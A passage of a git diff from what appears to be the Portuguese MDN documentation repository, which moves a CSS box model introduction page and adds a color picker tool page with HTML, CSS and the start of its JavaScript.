+ +

Como pode ver aqui, o logótipo do Firefox (listado primeiro) está no topo, seguida pelo gradiente, que está uma camada acima do fundo florido. Cada sub-propriedade ({{ cssxref("background-repeat") }} e {{ cssxref("background-position") }}) subsequentes aplicam-se aos fundos correspondentes. Dessa forma, o primeiro valor listado para {{ cssxref("background-repeat") }} aplica-se ao primeiro fundo (mais a frente), e assim por diante.

+ +

Ver também

+ + diff --git a/files/pt-pt/web/css/css_box_model/introducao_modelo_caixa_css/index.html b/files/pt-pt/web/css/css_box_model/introducao_modelo_caixa_css/index.html deleted file mode 100644 index 388a72ab39..0000000000 --- a/files/pt-pt/web/css/css_box_model/introducao_modelo_caixa_css/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Introdução ao modelo de Caixa de CSS -slug: Web/CSS/CSS_Box_Model/Introducao_modelo_caixa_CSS -tags: - - CSS - - Modelo de Caixa de CSS - - Principiante - - Referencia -translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model ---- -

{{CSSRef}}

- -

Resumo

- -

In a document, each element is represented as a rectangular box. Determining the size, properties — like its color, background, borders aspect — and the position of these boxes is the goal of the rendering engine.

- -

In CSS, each of these rectangular boxes is described using the standard box model. This model describes the space of the content taken by an element. Each box has four edges: the margin edge, border edge, padding edge, and content edge.

- -

CSS Box model

- -

The content area is the area containing the real content of the element. It often has a background, a color or an image (in that order, an opaque image hiding the background color) and is located inside the content edge; its dimensions are the content width, or content-box width, and the content height, or content-box height.

- -

If the CSS {{ cssxref("box-sizing") }} property is set to default, the CSS properties {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }} control the content size.

- -

The padding area extends to the border surrounding the padding. When the content area has a background, color, or image set on it, this will extend into the padding, which is why you can think of the padding as extending the content. The padding is located inside the padding edge, and its dimensions are the padding-box width and the padding-box height.

- -

The space between the padding and the content edge can be controlled using the {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} and the shorthand {{ cssxref("padding") }} CSS properties.

- -

The border area extends the padding area to the area containing the borders. It is the area inside the border edge, and its dimensions are the border-box width and the border-box height. This area depends on the size of the border that is defined by the {{ cssxref("border-width") }} property or the shorthand {{ cssxref("border") }}.

- -

The margin area extends the border area with an empty area used to separate the element from its neighbors. It is the area inside the margin edge, and its dimensions are the margin-box width and the margin-box height.

- -

The size of the margin area is controlled using the {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} and the shorthand {{ cssxref("margin") }} CSS properties.

- -

When margin collapsing happens, the margin area is not clearly defined since margins are shared between boxes.

- -

Finally, note that, for non-replaced inline elements, the amount of space taken up (the contribution to the height of the line) is determined by the {{ cssxref('line-height') }} property, even though the border and padding appear visually around the content.

- -

Especificação

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName("CSS2.1","box.html#box-dimensions")}}{{ Spec2('CSS2.1') }}Though more precisely worded, there is no practical change
{{ SpecName("CSS1","#formatting-model")}}{{ Spec2('CSS1') }}Initial definition
- -

Consultar também

- - diff --git a/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html new file mode 100644 index 0000000000..388a72ab39 --- /dev/null +++ b/files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html @@ -0,0 +1,69 @@ +--- +title: Introdução ao modelo de Caixa de CSS +slug: Web/CSS/CSS_Box_Model/Introducao_modelo_caixa_CSS +tags: + - CSS + - Modelo de Caixa de CSS + - Principiante + - Referencia +translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model +--- +

{{CSSRef}}

+ +

Resumo

+ +

In a document, each element is represented as a rectangular box. Determining the size, properties — like its color, background, borders aspect — and the position of these boxes is the goal of the rendering engine.

+ +

In CSS, each of these rectangular boxes is described using the standard box model. This model describes the space of the content taken by an element. Each box has four edges: the margin edge, border edge, padding edge, and content edge.

+ +

CSS Box model

+ +

The content area is the area containing the real content of the element. It often has a background, a color or an image (in that order, an opaque image hiding the background color) and is located inside the content edge; its dimensions are the content width, or content-box width, and the content height, or content-box height.

+ +

If the CSS {{ cssxref("box-sizing") }} property is set to default, the CSS properties {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }} control the content size.

+ +

The padding area extends to the border surrounding the padding. When the content area has a background, color, or image set on it, this will extend into the padding, which is why you can think of the padding as extending the content. The padding is located inside the padding edge, and its dimensions are the padding-box width and the padding-box height.

+ +

The space between the padding and the content edge can be controlled using the {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} and the shorthand {{ cssxref("padding") }} CSS properties.

+ +

The border area extends the padding area to the area containing the borders. It is the area inside the border edge, and its dimensions are the border-box width and the border-box height. This area depends on the size of the border that is defined by the {{ cssxref("border-width") }} property or the shorthand {{ cssxref("border") }}.

+ +

The margin area extends the border area with an empty area used to separate the element from its neighbors. It is the area inside the margin edge, and its dimensions are the margin-box width and the margin-box height.

+ +

The size of the margin area is controlled using the {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} and the shorthand {{ cssxref("margin") }} CSS properties.

+ +

When margin collapsing happens, the margin area is not clearly defined since margins are shared between boxes.

+ +

Finally, note that, for non-replaced inline elements, the amount of space taken up (the contribution to the height of the line) is determined by the {{ cssxref('line-height') }} property, even though the border and padding appear visually around the content.

+ +

Especificação

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName("CSS2.1","box.html#box-dimensions")}}{{ Spec2('CSS2.1') }}Though more precisely worded, there is no practical change
{{ SpecName("CSS1","#formatting-model")}}{{ Spec2('CSS1') }}Initial definition
+ +

Consultar também

+ + diff --git a/files/pt-pt/web/css/css_colors/color_picker_tool/index.html b/files/pt-pt/web/css/css_colors/color_picker_tool/index.html new file mode 100644 index 0000000000..696f2afd11 --- /dev/null +++ b/files/pt-pt/web/css/css_colors/color_picker_tool/index.html @@ -0,0 +1,3243 @@ +--- +title: Ferramenta de seleção de cor +slug: Web/CSS/CSS_Colors/Ferramenta_selecao_cor +tags: + - CSS + - Ferramentas + - Seleção de cor + - cor +translation_of: Web/CSS/CSS_Colors/Color_picker_tool +--- +
+

ColorPicker tool

+ +

HTML

+ +
    <div id="container">
+        <div id="palette" class="block">
+            <div id="color-palette"></div>
+            <div id="color-info">
+                <div class="title"> CSS Color </div>
+            </div>
+        </div>
+
+        <div id="picker" class="block">
+            <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
+            <div id="picker-samples" sample-id="master"></div>
+            <div id="controls">
+                <div id="delete">
+                    <div id="trash-can"></div>
+                </div>
+                <div id="void-sample" class="icon"></div>
+            </div>
+        </div>
+
+        <div id="canvas" data-tutorial="drop">
+            <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"></div>
+        </div>
+    </div>
+
+
+ +

CSS

+ +
/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch > * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property > * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container > * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls > * {
+	float: left;
+}
+
+#color-palette .controls > *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover > * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
